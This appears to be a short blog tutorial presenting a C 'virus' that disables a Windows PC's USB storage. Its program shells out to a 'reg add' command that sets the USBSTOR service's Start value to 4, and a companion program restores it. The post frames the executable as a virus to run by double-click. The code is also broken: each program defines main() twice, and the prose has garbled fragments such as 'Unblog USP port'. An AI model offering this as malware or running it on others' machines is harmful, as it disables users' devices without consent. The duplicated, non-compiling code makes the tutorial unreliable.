In this post, I will show how to create a simple virus that disables the USB ports
on the computer (PC). As usual, I am using my favorite C programming
language to create this virus. Anyone with a basic knowledge of C
language should be able to understand the working of this virus program.
Once this virus is executed it
will immediately disable all the USB ports on the computer. As a result
you’ll will not be able to use your pen drive or any other USB
peripheral devices on the computer. The source code for this virus is
available for download. You can test this virus on your own computer
without any worries since I have also given a program to re-enable all
the USB ports.
step1:
block_usb.c (source code)
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
step 2:
You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
step3:
To test this virus, just run the block_usb.exe file
and insert a USB pen drive (thumb drive). Now you can see that your pen
drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
Unblog USP port
follow same steps with differ
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
